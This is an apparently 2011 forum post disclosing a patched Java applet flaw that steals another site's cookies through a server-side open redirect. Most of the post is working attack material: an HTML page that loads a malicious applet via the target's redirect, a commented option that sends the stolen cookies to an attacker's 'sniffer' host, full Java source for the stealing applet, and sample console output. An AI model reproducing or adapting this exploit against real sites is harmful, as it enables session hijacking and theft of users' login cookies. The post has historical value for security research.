Getting the cookies using a server-side redirect and JAVA. (without JavaScript)
FIXED in JAVA 1.6.0_22 21 Oct 2010.
* Time to use my "pocket" vulnerability.
* This method works in all recent browsers. Last time I tested it on JAVA 1.6.0_21, but long ago I also tested it on JAVA 1.6.0.
1. Download applet http://code.google.com/p/cookieexpropriator/downloads/list
2. Usage.
Suppose we have a server-side redirect to the site http: //somesite.com/redirect.php?url=blabla
We want to get a cookie from http: //somesite.com/
Also suppose site, where we can control the markup and upload files, is http: //yoursite.com
http://yoursite.com/test.html
<html>
<body>
<applet code=CExpr.class archive=redirect.php?url=http://yoursite.com/CExpr.jar codebase=http://somesite.com/ width=1 height=1 mayscript=true>
<param name=from value=http://somesite.com>
<param name=method value=get>
<!-- to send cookies to sniffer
<param name=s value=http://mysniffer.com/s.gif>
-->
<!-- to display the result on the console -->
<param name=output>
</applet>
</body>
</html>
*
CExpr.jar - This is CExpr.class in zip-archive (just rename the "zip" to "jar").
* In the java-console can be seen:
cookie: Request[ Host: somesite.com User-Agent: Mozilla/4.0 (Windows XP 5.1) Java/1.6.0_21 Cookie: bla=bla; bla1=bla1 ]; exceptmessage:
Thus, if we have a server-side redirection, we have cookies. Right now.
==============
Simple demo-applet (need javascript to display the result)
*This applet can be used to test the vulnerability in pure form.
CExpr.java
import java.applet.*;
import java.net.*;
import java.io.*;
public class CExpr extends Applet
{
public void start()
{
try {
URL url = new URL('http://somesite.com'); // should return 200 OK preferably
HttpURLConnection conn = (HttpURLConnection) url.openConnection();
InputStream inp;
try {
conn.getInputStream(); // method GET
}
catch (IOException ee)
{
conn.getErrorStream();
}
String cookie = conn.getRequestProperty("Cookie");
getAppletContext().showDocument(new URL("javascript:alert('"+cookie+"');"));
}
catch (Exception e){}
}
}
<applet code=CExpr.class archive=redirect.php?url=http://yoursite.com/CExpr.jar codebase=http://somesite.com/ ></applet>
DEMO
http://olo-olo-lo.narod.ru/test.html
LeverOne
----------------------
~Veritas~
Edited 8 time(s). Last edit at 02/14/2011 10:51AM by LeverOne.